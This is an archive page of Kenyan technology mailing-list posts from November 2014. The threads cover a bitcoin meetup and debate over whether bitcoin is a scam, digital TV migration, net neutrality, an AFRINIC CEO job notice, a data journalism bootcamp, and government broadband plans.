Well, am against this notion of a few people making "something out of nothing" and majority "making nothing out of something". I have no issue with the technology side. True using crypto technology and blockchain you can trace the history etc, however this does not explain some mysteries. First a few points to ponder 1. Who invented bitcoin? Why is s/he in hiding? If i were the inventor i would proudly be associated with BTC in this case the guy went to hiding...did he know something or is he/she remaining anonymous avoiding legal action from eminent collapse of bitcoin with a few billionaires and majority impoverished? 2. Ok BTC is popular and they claim over 6 million coins blah...blah... have been mined so far. How did this happen? Who are these billionaires who spent enormous computing resources to mine bitcoin while the rest of the world was asleep? 3. Paypal has a disclaimer on bitcoin trade...do they know something? Many governments do not recognize bitcoin and others have even burned it as a legal tender 4. What's backing this currency? Air? Anyway the truth is that some genius came up with some incredible algorithm based on cryptography, released the code, used pseudo-names to hide s/he identity, got his/her cronies and fictitious accounts with millions of these so called coins, sat back and enjoying billions coming his/her way. What a genius! pro On Wed, Nov 26, 2014 at 10:57 AM, Anthony Lenya <tlensya(a)gmail.com> wrote: > Bernie Madoff anyone? ? > On 26 Nov 2014 10:54, "Patrick Kariuki via skunkworks" < > skunkworks(a)lists.my.co.ke> wrote: > >> Any basis for your advice? >> >> The US Marshal service is auctioning Bitcoins - If the Bitcoin was part >> of some ponzi scheme wouldn't they destroy them instead? >> >> http://www.usmarshals.gov/assets/2014/dpr-bitcoins/ >> >> >> >> On Wed, Nov 26, 2014 at 10:05 AM, Paul Roy via skunkworks < >> skunkworks(a)lists.my.co.ke> wrote: >> >>> John, >>> >>> Good to see you trying to marshal support for digital currency. This is >>> simply pyramid scheme that will make so many people lose their hard earned >>> cash, moreso fraudsters and hackers are having a playing field ripping off >>> many innocent investors... >>> >>> My advice, keep off bitcoin! >>> >>> pro >>> >>> On Wed, Nov 26, 2014 at 9:33 AM, John Karanja via skunkworks < >>> skunkworks(a)lists.my.co.ke> wrote: >>> >>>> Hi Listers, >>>> >>>> Bitcoin Meetup sign up here: >>>> <https://mail.google.com/mail/u/0/goog_1446634865> >>>> http://www.meetup.com/Kenya-Bitcoin/events/218657905/ >>>> >>>> Bitcoin which is like *global M-Pesa is* the World’s most celebrated >>>> digital and crypto-currency. The past 5 years has seen this new >>>> technology experience gradual and steady growth in use around the World. >>>> Bitcoin today has over 10 million users globally and is growing fast! >>>> Together with the African Digital Currency Association(ADCA) we are >>>> hosting a Bitcoin Meetup on Monday 1st December 2014 5:30PM at the >>>> iHub, 4th Floor, Bishop Magua Centre, Ngong Road, Directly opposite Uchumi, >>>> Ngong Road. We look forward to demonstrating how you can Buy, Trade and >>>> Store your Bitcoin in this session. >>>> >>>> Come prepared with your Bitcoin Wallets which you can download from >>>> Google Play and Apple Store as Whive <http://Whive.org> will be >>>> sponsoring free BTC Giveways. >>>> >>>> If you have no idea how to set up the wallet buzz me off-list and I >>>> will help. >>>> >>>> Bitcoin Meetup sign up here: >>>> <https://mail.google.com/mail/u/0/goog_1446634865> >>>> http://www.meetup.com/Kenya-Bitcoin/events/218657905/ >>>> >>>> As background info read about E.A legal status and regulation of >>>> Bitcoin on the iHub community blog here. Post by ADCA lead Michael Kimani. >>>> >>>> >>>> http://community.ihub.co.ke/blogs/21585/digital-currency-regulation-in-east… >>>> >>>> See you there, >>>> >>>> John Karanja >>>> >>>> >>>> _______________________________________________ >>>> skunkworks mailing list >>>> skunkworks(a)lists.my.co.ke >>>> ------------ >>>> List info, subscribe/unsubscribe >>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>>> ------------ >>>> >>>> Skunkworks Rules >>>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>>> ------------ >>>> Other services @ http://my.co.ke >>>> >>> >>> >>> >>> -- >>> "Change is slow and gradual. It requires hardwork, a bit of >>> luck, a fair amount of self-sacrifice and a lot of patience." >>> >>> Roy. >>> >>> _______________________________________________ >>> skunkworks mailing list >>> skunkworks(a)lists.my.co.ke >>> ------------ >>> List info, subscribe/unsubscribe >>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>> ------------ >>> >>> Skunkworks Rules >>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>> ------------ >>> Other services @ http://my.co.ke >>> >> >> >> _______________________________________________ >> skunkworks mailing list >> skunkworks(a)lists.my.co.ke >> ------------ >> List info, subscribe/unsubscribe >> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >> ------------ >> >> Skunkworks Rules >> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >> ------------ >> Other services @ http://my.co.ke >> > -- "Change is slow and gradual. It requires hardwork, a bit of luck, a fair amount of self-sacrifice and a lot of patience." Roy.

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Internet Consumption in Africa
by S.M. Muraya 26 Nov '14

26 Nov '14

Where are we now in Kenya with lower band spectrums? Even though Africans (on the ground) have not been quoted, interesting comments here http://thenextweb.com/africa/2014/11/24/tech-consumers-africa-want-good-goo… “Unless that spectrum is released it’s going to take a very long time to connect the rural areas,” he said, noting that to connect rural people access to the the lower bands of spectrum – from approximately 400 MgH to 750 MgH – is needed.

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COFEK ADVISORY ON DIGITAL MIGRATION - NOVEMBER 25, 2014
by Consumers Federation of Kenya (COFEK) 25 Nov '14

25 Nov '14

Fellow Consumers, The Consumers Federation of Kenya (Cofek) wishes to advise all Kenyan TV owners and viewers that the Communications Authority of Kenya (CAK) will soon announce the analogue TV signal switch-off. It is our position that Kenya will finally "Go Digital" on or by December 31, 2014 for Nairobi and nearby Counties, in the first phase. Related to this, we would like to advise as follows; (a) It is in your interest to clearly understand and appreciate what #DigitalMigration is and what it is not. (b) #DigitalMigration will affect the way we communicate and relate to each other. It has technical, legal and socio-economic implications. (c) Working with partners in Government, Private Sector and Development Partners, Cofek is now engaging in consumer education across the country. We invite partner support particularly from ICT professionals who would be willing to volunteer of their time. (d) We recommend that you plan to buy your Set-Top Box (STB) in good time. If you are unsure what to buy, from where and how much, please contact us (e) #DigitalMigration is not compulsory. But if you don't have a STB gadget you will be unable to continue enjoying your popular Free-To-Air (FTA) channels (f) You can "follow us" on Twitter - @ConsumersKenya) and "Like us" on Facebook page for updates on #DigitalMigration (g) In the meantime, if you have burning questions on the #DigitalMigration, please contact us; http://www.cofek.co.ke/index.php/14-news/884-cofek-advisory-on-kenya-s-digit almigration-and-need-for-consumers-to-be-ready-as-kenya-goes-digital-televis ion As always, we value your kind feedback and support. Thank you. Kind regards, David Kedode Program Officer Consumers Federation of Kenya (COFEK) Rehema Place, Block F-45 Ngong Road/Ring Rd Kilimani Junction P.O Box 28053-00200, City Square, NAIROBI, Kenya Tel. 254-20-2615496, 2300859 Fax. 254-20-3861719; Cell phones: 0715555550, 0770700007 E-mail: <mailto:hotline@cofek.co.ke> hotline(a)cofek.co.ke Website: <http://www.cofek.co.ke/> www.cofek.co.ke Facebook: "Consumers Federation of Kenya (Cofek)" Twitter: @ConsumersKenya YouTube: "ConsumersKenya" 13th December 2012 - President Kibaki assents to the Consumer Protection Act, 2012 Read it here: <http://www.cofek.co.ke/Consumers%20Protection%20Act%202012.pdf> http://www.cofek.co.ke/Consumers%20Protection%20Act%202012.pdf

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Government, Safaricom sign deal for Sh15 billion security surveillance system
by Mouz 25 Nov '14

25 Nov '14

Good People, I hate to come out as a conspiracy theorist, but isn't the timing for this ( http://www.nation.co.ke/news/Safaricom-start-Sh15b-security-surveillance-pr…) suspect? Just after we have suffered a serious attack, then surveillance system is approved? if I didn't know better i would think the attack was meant to accelerate the approval process! But then again, our Government wouldn't do that. -- ./mouz

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Fw: [afgwg-discuss] AFRINIC is Recruiting a Chief Executive Officer
by Walubengo J 25 Nov '14

25 Nov '14

For your information. Inform your networks and spread the word. walu. --- On Tue, 11/25/14, AFRINIC Communication <comm-announce(a)afrinic.net> wrote: > From: AFRINIC Communication <comm-announce(a)afrinic.net> > Subject: [afgwg-discuss] AFRINIC is Recruiting a Chief Executive Officer > To: announce(a)afrinic.net > Date: Tuesday, November 25, 2014, 9:20 AM > > AFRINIC seeks to engage a Chief Executive Officer (CEO) who > will lead a team of dedicated staff, and work with the Board > of Directors to execute the strategic plans of the Company. > The CEO will be stationed in Ebène, Mauritius. > > ABOUT THE ORGANISATION > The African Network Information Centre (AFRINIC) is the > Regional Internet Registry (RIR) for Africa. It is > responsible for the distribution and management of Internet > number resources - IPv4, IPv6 addresses and ASN (Autonomous > System Numbers) - for the African region. > > AFRINIC’s mission is to provide professional and efficient > distribution of Internet number resources to the African > Internet community, to support Internet technology usage and > infrastructure development across the continent and to > strengthen Internet self-governance in Africa by > facilitating and encouraging participatory policy > development. > > AFRINIC operations are overseen by a Board of Directors > (BoD) elected by members on a regional or independent > representation basis, as defined by Article 11 of its bylaws > [http://www.afrinic.net/en/about-us/bylaws?start=10] > Once appointed to the Board, each Director represents and > works for the whole region and not their organisations, > country or sub-region. > > THE ROLE (Ebène Cyber City, Mauritius) > > The details of the job and the expectations are fully > described in the document “Chief Executive Officer (CEO) > Role” available for download from the AFRINIC website at > http://afrinic.net/images/staff/CEO-Role-final-24-11-14-SG.pdf > > How to Apply > > To apply you should: > 1. Submit a full C.V. and a > personally signed cover letter that clearly documents your > relevant experience in line with the appointment criteria. > 2. Include details of expected > salary and benefits package in your cover letter > 3. Please also include names, > positions, organisations and telephone contact numbers for > at least two references, one of who should be your > current/most recent employer. If you specifically do not > wish referees to be contacted without your permission, > please indicate this clearly. We will only approach > referees if you are invited to attend the final interview > round and will only do so with your permission. > 4. Finally, please ensure that you > include your mobile telephone number and email address as > well as any dates when you will not be available for > interview. > > Please email your application to: ceorole(a)afrinic.net > with the reference AFJOB-CEO2014 in the subject line. > > All applications must be received by 17:00 UTC Friday 19th > December 2014. > > You can read more about the selection process and associated > timeline at: > http://afrinic.net/en/about-us/career/1259-ceo-recruitment-process-timeline > > > _______________________________________________ > afgwg-discuss mailing list > afgwg-discuss(a)afrinic.net > https://lists.afrinic.net/mailman/listinfo.cgi/afgwg-discuss

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Re: [kictanet] [isoc_ke] Fwd: [global-nn] ThisIsNetNeutrality Relaunch and Press Release
by Ali Hussein 25 Nov '14

25 Nov '14

Davis I think it's time we asked the government and the sector to openly state its stand on this vital issue. Since WCIT12 I have consistently asked for us to clarify this issue. We can't just sit back and make assumptions while we know some of the practices that are already happening within the sector are detrimental to Net Neutrality. It's time we called out for a formal recognition of this issue. We know that most if not all policy leaders in the country read these posts. And some have even acknowledged how Kictanet shapes their thinking in policy formulation. Be that as it may I wish that someone will come out and take leadership on this issue. Kenya's thought leadership in African ICT and the world is at risk. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad > On Nov 20, 2014, at 8:49 AM, Davis Onsakia <mautidavis(a)yahoo.com> wrote: > > Thanks Ali for always bringing this issue to the fore. > > Have blogged about Africa's disinterest to Net Neutrality on the Diplo Governance site at Network neutrality, why Africa’s disinterest? > > > > > > > > > Network neutrality, why Africa’s disinterest? > Introduction Network neutrality has been defined as treating all data packets on the Internet equally: no priority to be given to any data package based on ori… > View on www.diplointernetgov... > Preview by Yahoo > > > You can check it out and share your comments. > > This is something which need to be taken seriously by all of us, otherwise we might be soon hit, and hit hard! > > I like the stand which so far has been taken by the Obama administration on this issue. Check more on this at: > > - President Obama's asking the FCC to keep the Internet open and free > > > > > > > > > President Obama's asking the FCC to keep the Internet op... > Share the President's plan to protect net neutrality → http://wh.gov/net-neutrality > View on www.whitehouse.gov > Preview by Yahoo > > - The White House Gets It Right On Net Neutrality. Will the FCC? > > > > > > > > > The White House Gets It Right On Net Neutrality. Will th... > Over the past year, millions of Internet users have spoken out in defense of the open Internet. Today, we know the White House heard us. In a statement issued this ... > View on www.eff.org > Preview by Yahoo > > > > Regards and many thanks, > Davis M Onsakia > > 'The minute you settle for less than you deserve, you get even less than you settled for.' - Maureen Dowd > > > On Thursday, November 20, 2014 4:34 AM, Ali Hussein via isoc <isoc(a)lists.my.co.ke> wrote: > > > Listers > > Apologies for cross posting. > > Interesting development on Net Neutrality issues. Please see email thread below and kindly visit the site for more on Net Neutrality. There is even a Swahili version which is an achievement thanks to Kictanet. > > Net Neutrality may not be a 'sexy' subject for some but I think it's important for all of us to understand it and pay attention to its development and preservation. Think about it this way:- > > If Net Neutrality is threatened one day you may wake up and realize that the freedoms you took for granted - like reading this rambling email from me :) - is threatened because some Telco somewhere decided it doesn't like the contents...or Kictanet didnt pay 'gatekeeping' fees. > > Far fetched? Do nothing and roll the dice.. > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > > Begin forwarded message: > >> From: <deji(a)accessnow.org> >> Date: November 20, 2014 at 1:47:26 AM EAT >> To: global-nn(a)lists.riseup.net >> Subject: [global-nn] ThisIsNetNeutrality Relaunch and Press Release >> Reply-To: <deji(a)accessnow.org> >> >> Hi to All, >> >> I hope this message finds you well. I wanted to introduce myself--I’m the new >> Senior Advocacy Manager at Access and I look forward to working with you on >> the Global Net Neutrality Coalition. >> >> You have all seen the original version of the great ThisisNetNeutrality.org >> site. The redesign is finished and will more clearly spotlight members of the >> coalition and invite new members to join. It’s a responsive site that should >> work well on computers and mobile devices. You can visit it here: >> https://thisisnetneutrality.org/beta >> >> We would like to issue a press release on Tuesday next week about this >> exciting news. I see a couple of major points that are worth celebrating: the >> global diversity of the coalition and the fact that civil society groups have >> agreed on a universal definition of net neutrality. We can also explain that >> thisisnetneutrality.org will soon be the leading resource on net neutrality >> laws and policies around the globe. >> >> It would be great to have as many statements as possible for the press >> release. If you want to be included, please send me a short 2-3 line statement >> along by Monday, November 24. >> >> Here are some sample points for quotes: >> >> -- Thisisnetneutrality.org highlights the importance of net neutrality to >> users around the world. >> -- This issue is not confined to one country or region, and affects people in >> the developed and developing world alike. >> -- Net neutrality is essential in countries where internet infrastructure is >> still being built. >> -- Now we have a resource for the world to discover and for policy makers to >> know that net neutrality matters so that they can make informed decisions >> about the future of the internet. >> >> Let’s make sure our coalition gets the attention it deserves in every region >> and country where it is represented. So please reach out to individual >> journalists and publications where you have contacts if you can. >> >> I want to do whatever I can to help move this important effort forward, so >> kindly let me know if you have any questions. And once again--it’s a pleasure >> to meet. >> >> Best, >> -- >> Deji Olukotun >> Senior Advocacy Manager >> Access | accessnow.org >> >> tel: +1 888 414 0100 x 708 | @dejiridoo >> PGP: 0x6012CDA8 >> Fingerprint: 3AEE 4194 F70E C806 A810 857A 6AD5 8F48 6012 CDA8 > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc >

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Fwd: [AfrICANN-discuss] AFRINIC is Recruiting a Chief Executive Officer
by Mwendwa Kivuva 25 Nov '14

25 Nov '14

AFRINIC is recruiting a new CEO. See below advertisement. We encourage people from our region to apply. ---------- Forwarded message ---------- From: AFRINIC Communication <comm-announce(a)afrinic.net> Date: 25 November 2014 at 09:20 Subject: [AfrICANN-discuss] AFRINIC is Recruiting a Chief Executive Officer To: announce(a)afrinic.net AFRINIC seeks to engage a Chief Executive Officer (CEO) who will lead a team of dedicated staff, and work with the Board of Directors to execute the strategic plans of the Company. The CEO will be stationed in Ebène, Mauritius. ABOUT THE ORGANISATION- The African Network Information Centre (AFRINIC) is the Regional Internet Registry (RIR) for Africa. It is responsible for the distribution and management of Internet number resources - IPv4, IPv6 addresses and ASN (Autonomous System Numbers) - for the African region. AFRINIC's mission is to provide professional and efficient distribution of Internet number resources to the African Internet community, to support Internet technology usage and infrastructure development across the continent and to strengthen Internet self-governance in Africa by facilitating and encouraging participatory policy development. AFRINIC operations are overseen by a Board of Directors (BoD) elected by members on a regional or independent representation basis, as defined by Article 11 of its bylaws [http://www.afrinic.net/en/about-us/bylaws?start=10] Once appointed to the Board, each Director represents and works for the whole region and not their organisations, country or sub-region. THE ROLE (Ebène Cyber City, Mauritius) The details of the job and the expectations are fully described in the document "Chief Executive Officer (CEO) Role" available for download from the AFRINIC website at http://afrinic.net/images/staff/CEO-Role-final-24-11-14-SG.pdf How to Apply To apply you should: 1. Submit a full C.V. and a personally signed cover letter that clearly documents your relevant experience in line with the appointment criteria. 2. Include details of expected salary and benefits package in your cover letter 3. Please also include names, positions, organisations and telephone contact numbers for at least two references, one of who should be your current/most recent employer. If you specifically do not wish referees to be contacted without your permission, please indicate this clearly. We will only approach referees if you are invited to attend the final interview round and will only do so with your permission. 4. Finally, please ensure that you include your mobile telephone number and email address as well as any dates when you will not be available for interview. Please email your application to: ceorole(a)afrinic.net with the reference AFJOB-CEO2014 in the subject line. All applications must be received by 17:00 UTC Friday 19th December 2014. You can read more about the selection process and associated timeline at: http://afrinic.net/en/about-us/career/1259-ceo-recruitment-process-timeline ______________________ Mwendwa Kivuva, Nairobi, Kenya L: https://www.linkedin.com/in/lordmwesh B: http://lord.me.ke/ T: twitter.com/lordmwesh "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Fwd: [AfrICANN-discuss] AFRINIC is Recruiting a Chief Executive Officer
by Barrack Otieno 25 Nov '14

25 Nov '14

Listers, For your attention and action. Regards ---------- Forwarded message ---------- From: AFRINIC Communication <comm-announce(a)afrinic.net> Date: Tue, 25 Nov 2014 10:20:25 +0400 Subject: [AfrICANN-discuss] AFRINIC is Recruiting a Chief Executive Officer To: announce(a)afrinic.net AFRINIC seeks to engage a Chief Executive Officer (CEO) who will lead a team of dedicated staff, and work with the Board of Directors to execute the strategic plans of the Company. The CEO will be stationed in Ebène, Mauritius. ABOUT THE ORGANISATION The African Network Information Centre (AFRINIC) is the Regional Internet Registry (RIR) for Africa. It is responsible for the distribution and management of Internet number resources - IPv4, IPv6 addresses and ASN (Autonomous System Numbers) - for the African region. AFRINIC’s mission is to provide professional and efficient distribution of Internet number resources to the African Internet community, to support Internet technology usage and infrastructure development across the continent and to strengthen Internet self-governance in Africa by facilitating and encouraging participatory policy development. AFRINIC operations are overseen by a Board of Directors (BoD) elected by members on a regional or independent representation basis, as defined by Article 11 of its bylaws [http://www.afrinic.net/en/about-us/bylaws?start=10] Once appointed to the Board, each Director represents and works for the whole region and not their organisations, country or sub-region. THE ROLE (Ebène Cyber City, Mauritius) The details of the job and the expectations are fully described in the document “Chief Executive Officer (CEO) Role” available for download from the AFRINIC website at http://afrinic.net/images/staff/CEO-Role-final-24-11-14-SG.pdf How to Apply To apply you should: 1. Submit a full C.V. and a personally signed cover letter that clearly documents your relevant experience in line with the appointment criteria. 2. Include details of expected salary and benefits package in your cover letter 3. Please also include names, positions, organisations and telephone contact numbers for at least two references, one of who should be your current/most recent employer. If you specifically do not wish referees to be contacted without your permission, please indicate this clearly. We will only approach referees if you are invited to attend the final interview round and will only do so with your permission. 4. Finally, please ensure that you include your mobile telephone number and email address as well as any dates when you will not be available for interview. Please email your application to: ceorole(a)afrinic.net with the reference AFJOB-CEO2014 in the subject line. All applications must be received by 17:00 UTC Friday 19th December 2014. You can read more about the selection process and associated timeline at: http://afrinic.net/en/about-us/career/1259-ceo-recruitment-process-timeline _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/

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FW: Development Spending: Does It Really Benefit Ordinary People? Come Hack The Data & Find Out.
by Grace Githaiga 24 Nov '14

24 Nov '14

Participants at the Nairobi d|Bootcamp will work in multidisciplinary teams of journalists / developers / designers, along with data analysts, to learn new skills while building news-driven mobile apps and civic engagement websites using previously inaccessible financial and development spending data from the National Treasury and Open Aid Partnership. Participation is free but you need to register. Date: Sat, 22 Nov 2014 09:30:19 -0500 From: info(a)africanmediainitiative.org To: ggithaiga(a)hotmail.com Subject: Development Spending: Does It Really Benefit Ordinary People? Come Hack The Data & Find Out. Development Spending: Does It Really Benefit Ordinary People? Come Hack The Data & Find Out. [22 November 2014]. Ever wondered where all the 100s of millions of development dollars really go? Does donor and government development spending real [22 November 2014]. Ever wondered where all the 100s of millions of development dollars really go? Does donor and government development spending really improve the lives of ordinary citizens, or grow the economy? Come explore the data and find out at Nairobi’s largest data journalism workshop. Kenya’s annual data literacy d|Bootcamp is offering free seats to journalists, developers / coders / designers, and members of civil society who are interested in building data-driven services for Kenyan citizens. The 4-day event will feature keynote speakers from the USA’s leading data journalism newsroom, at the Texas Tribune, and the BBC News’ digital team in London. d|Bootcamp participants will benefit from additional mentorship from experts from the International Center of Journalists, the World Bank Innovation Lab, the Open Aid Partnership, and homegrown heroes from Upande and Data Science, as well as the National Treasury, the ICT Authority, and Code for Kenya. The intensive hands-on workshop will take place at the Aga Khan University’s brand new state-of-the-art Graduate School of Media and Communications (GSMC) campus, in Westlands, between November 26-29, 2014. The best projects built during the d|Bootcamp will receive seed grants and technology support to turn their prototype into a build a fully-functional public initiative during an ongoing ‘aftercare’ programme. Projects built at previous d|Bootcamps, such as Got To Vote, have gone on to be adopted as public services by media and governments across the continent. Participants at the Nairobi d|Bootcamp will work in multidisciplinary teams of journalists / developers / designers, along with data analysts, to learn new skills while building news-driven mobile apps and civic engagement websites using previously inaccessible financial and development spending data from the National Treasury and Open Aid Partnership. Participants will also be introduced to government’s new e-PRoMIS procurement tracking system, with data that can be re-used to power your own apps or other projects. d|Bootcamp participants are encouraged to join the local HacksHackers chapter, so they can get access to ongoing funding and skills support for civic tech projects. To confirm your seat, you must commit to attend all three days of the d|Bootcamp. You should reserve your seat by registering at: http://nairobi.dbootcamp.org/ Seats will be allocated on a first come, first served basis. You should therefore reply as soon as possible. Queries can be sent to: nsibisi (at) africanmediainitiative (dot) org. ©2014 African Media Initiative | Fedha Plaza 6th Floor, Mpaka Road, Nairobi, Kenya Web Version Forward Unsubscribe Powered by Mad Mimi ®

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iHub Entrepreneurs Forums with Dr Bitange Ndemo
by Riyaz Bachani 24 Nov '14

24 Nov '14

If you're not already aware - there is an ongoing very engaging Monthly series of Entrepreneurship Forums at the iHub being run by Dr Bitange Ndemo. Catch the next one this Saturday from 10am at the iHub with guest Su Kahumbu. These are all being captured as well, and available for offline viewing on the iHub YouTube channel https://www.youtube.com/watch?v=woHbcrCGRq4&list=PLHPqHJaNeg6dnSlMLh-1z-uL_… Also a brief of Saturday's event below: Dr. Bitange Ndemo, a member of the iHub board of advisors, is hosting a series of entrepreneurship talks, pulling in experts from different sectors to highlight the opportunities in their industries. Dr Ndemo is a senior lecturer at the University of Nairobi’s School of Business and former Permanent Secretary for the Ministry of Information, Communication and Technology. On Saturday, 29th November, 2014, Su Kahumbu will be our guest speaker. Social Entrepreneur Su Kahumbu Stephanou, is a passionate organic farmer, Founder and CEO of Green Dreams Ltd <http://www.greendreams.co.ke/> and Green Dreams Tech Ltd. She is a pioneer in the organic industry in Kenya working with small holder farmers for over 15 years. Her goal is to inspire, enable and support farmers across Africa engage in sustainable agro ecological agriculture in order to alleviate poverty and contribute to food security and a sustainable environment. Through her company Green Dreams TECH Ltd, she developed award winning mobile phone application “iCow” winner of the first Apps4Africa competition, winner of the Vision 2030 Innovation Award for Agriculture in Kenya and finalist in the Innovation Prize for Africa 2012. Su sits on the Advisory Boards of a number of Global and local agricultural initiatives and is a TED Global Fellow .

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Orange back to the drawing as Viettel pulls out of takeover talks
by Ali Hussein 24 Nov '14

24 Nov '14

Listers Viettel Group, the Vietnamese firm that wanted to acquire a 70 per cent stake in Telkom Kenya, has dropped its bid, sending France Telecom back to the drawing board for an alternative exit plan. Read on http://www.businessdailyafrica.com/Corporate-News/Orange-kenya-buyout-bid-f… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Re: [kictanet] State rolls out Sh225b plan to improve Internet speeds
by Barrack Otieno 24 Nov '14

24 Nov '14

I agree with Emmanuel, can we have a proper evaluation on the current status of the ICT sector based on the point Ali pointed out , i suppose ICTA can help us on this , i know there are a couple of great initiatives but what have they helped us achieve? Regards On 11/19/14, Emmanuel Khisa <oloo.khisa(a)googlemail.com> wrote: > I would give the GoK an A for PR but a D for implementation. Its > unfortunate that because of the fabulous PR everyone (the Fourth Estate > included) is holding the GoK with Kiddy gloves...We will wake up and > realise soon that we havent moved an inch from where Ndemo and Kibaki left > us...their own shortcomings notwithstanding.. > > On Wed, Nov 19, 2014 at 9:21 AM, Barrack Otieno via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > >> + 1 to Ali Hussein. >> >> Regards >> >> On 11/19/14, Ali Hussein via kictanet <kictanet(a)lists.kictanet.or.ke> >> wrote: >> > Bernard >> > >> > Commendable indeed. I think though sometimes the newspapers fill in >> stories >> > when they don't have anything else to report? The Americans have an >> > interesting word for it:- >> > >> > Silly Season. >> > >> > I'd be more interested in in-depth pieces regarding our broadband >> strategy. >> > Here are a few pointers for journalists:- >> > >> > 1. What's the Status on the Broadband Strategy implementation? >> > 2. How has NOFBi affected our usage of broadband and has it had any >> Impact >> > in price reduction of connectivity? >> > 3. What's happening to the Universal Access Fund. Has the government >> acceded >> > to the telcos request for representation? >> > 4. What's the effect on the Broadband Strategy of Safaricom's >> announcement >> > of going it alone with the 4G rollout? Add the security tender to that >> > question. >> > 5. What's the real broadband penetration rate since the launch of the >> > National Broadband Strategy. >> > >> > Lastly, I think the government's achievement so far in the ICT Sector >> > is >> a >> > mixed bag. I'd give them a B+ for achievement and a lot goes to the ICT >> > Ministry and the Presidency for continuing to highlight the importance >> > of >> > the sector and coordinating with other ministries and the region at >> large. >> > See:- >> > >> > http://www.ttcanc.org/page.php?id=23 >> > >> > As far as engagement with the ICT community at large I'd be circumspect >> if I >> > didn't say that the Ministry needs to up the game. Sometimes >> > perceptions >> > become reality. We are now entering the third year since this new >> > digital >> > government took over and I know that Dr. Matiang'i is doing a >> > commendable >> > job of engaging. However, I think the ministry's press office and other >> > authorities like the ICT Authority, and the CA could do a lot better. A >> new >> > strategy for community engagement? >> > >> > Let's work towards a better ICT year in 2015 and beyond. >> > >> > Ali Hussein >> > >> > +254 770 906375 / 0713 601113 >> > >> > Twitter: @AliHKassim >> > Skype: abu-jomo >> > LinkedIn: http://ke.linkedin.com/in/alihkassim >> > Blog: www.alyhussein.com >> > >> > "I fear the day technology will surpass human interaction. The world >> > will >> > have a generation of idiots". ~ Albert Einstein >> > >> > Sent from my iPad >> > >> >> On Nov 18, 2014, at 6:15 PM, Bernard Kioko via kictanet >> >> <kictanet(a)lists.kictanet.or.ke> wrote: >> >> >> >> Of interest to those who have not read about yet - >> >> >> http://www.standardmedia.co.ke/business/article/2000141723/state-rolls-out-… >> >> >> >> >> >> >> >> >> >> >> >> This e-mail and any attachments may contain information that is >> >> confidential, legally privileged and protected by law and is intended >> for >> >> the sole use of the named recipient(s). Any unauthorized review, use, >> >> or >> >> disclosure or distribution is prohibited. Any liability (in negligence >> or >> >> otherwise) arising from any third party acting, or refraining from >> acting >> >> on any information contained in this email is hereby excluded. If you >> are >> >> not the intended recipient, please delete the contents and notify the >> >> sender immediately; do not disclose the contents to any other person, >> use >> >> it for any purpose or store or copy the information in any medium. >> Whilst >> >> our e-mails are checked for viruses, we cannot guarantee that this >> message >> >> or any attachment is virus free, does not contain malicious code or is >> >> incompatible with your electronic system and the Company does not >> >> accept >> >> liability in respect of viruses, malicious code or any related >> >> problems >> >> that you might experience. For further information about us, please >> >> contact us at the address indicated below. >> >> >> >> >> >> Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 >> 722 >> >> 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com >> >> >> >> _______________________________________________ >> >> kictanet mailing list >> >> kictanet(a)lists.kictanet.or.ke >> >> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >> >> >> >> Unsubscribe or change your options at >> >> >> https://lists.kictanet.or.ke/mailman/options/kictanet/info%40alyhussein.com >> >> >> >> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder >> >> platform >> >> for people and institutions interested and involved in ICT policy and >> >> regulation. The network aims to act as a catalyst for reform in the >> >> ICT >> >> sector in support of the national aim of ICT enabled growth and >> >> development. >> >> >> >> KICTANetiquette : Adhere to the same standards of acceptable behaviors >> >> online that you follow in real life: respect people's times and >> bandwidth, >> >> share knowledge, don't flame or abuse or personalize, respect privacy, >> do >> >> not spam, do not market your wares or qualifications. >> > >> >> >> -- >> Barrack O. Otieno >> +254721325277 >> +254-20-2498789 >> Skype: barrack.otieno >> http://www.otienobarrack.me.ke/ >> >> _______________________________________________ >> kictanet mailing list >> kictanet(a)lists.kictanet.or.ke >> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >> >> Unsubscribe or change your options at >> https://lists.kictanet.or.ke/mailman/options/kictanet/oloo.khisa%40gmail.com >> >> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >> for people and institutions interested and involved in ICT policy and >> regulation. The network aims to act as a catalyst for reform in the ICT >> sector in support of the national aim of ICT enabled growth and >> development. >> >> KICTANetiquette : Adhere to the same standards of acceptable behaviors >> online that you follow in real life: respect people's times and >> bandwidth, >> share knowledge, don't flame or abuse or personalize, respect privacy, do >> not spam, do not market your wares or qualifications. >> > > > > -- > ‎"Service to Mankind is the greatest form of service"... > > > > > > *Oloo KhisaP.O. Box > 24324-00100Nairobi0721321086/0731849128http://ke.linkedin.com/in/olookhisa > <http://ke.linkedin.com/in/olookhisa>* > -- Barrack O. Otieno +254721325277 